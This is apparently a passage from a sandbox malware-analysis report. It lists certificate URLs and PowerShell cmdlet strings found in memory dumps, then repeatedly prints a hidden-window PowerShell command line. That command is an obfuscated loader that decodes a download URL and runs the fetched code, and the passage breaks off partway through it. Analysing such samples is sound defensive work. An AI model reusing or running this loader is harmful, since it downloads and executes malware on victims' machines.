"http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0?azhp!g4)9c" - Source: "00000000-00004824.00000002.137113.08940000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623621" - Source: "00000000-00004824.00000002.137113.08940000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00004824.00000002.137113.08940000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcthawte," - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;?aation1crosrootp0700021" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mict2011_20" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?0$0" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006720.00000000.132585.73B30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006720.00000000.132585.73CB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006720.00000000.132585.73CB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;?aation1crosrootp0700021" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mict2011_20" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?0$0" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006720.00000001.132984.73B30000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportoftware\policies\microsoft\windows" - Source: "00000000-00006720.00000001.132984.73CDB000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006720.00000001.132984.73CDB000.00000004.mdmp") Found URL "http://crl.m^.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006720.00000001.132984.73CDB000.00000004.mdmp") Found URL "http://crl.micr8m/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0o/>" - Source: "00000000-00006720.00000001.132984.73CDB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006720.00000001.132984.742CE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0o/>" - Source: "00000000-00006720.00000001.132984.742CE000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006720.00000001.132984.742CE000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006720.00000001.132984.7435B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006720.00000001.132984.7435B000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006720.00000001.132984.7435B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006720.00000001.132984.7435B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006720.00000001.132984.7435B000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006720.00000001.132984.7435B000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006720.00000001.132984.F12A2000.00000002.mdmp")4c:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp")4d:T3062,"-windowstyle hidden "mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"" on 2025-11-10.09:13:44.026, ""mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '?? B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o UUt + E = e|||r&&&S';$upopulrere+=Actinism ' ||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^ s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhs^^^eTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p< >:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"" on 2025-11-10.09:16:30.6174e:T2e63,Process "powershell.exe" with commandline "-windowstyle hidden "mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr 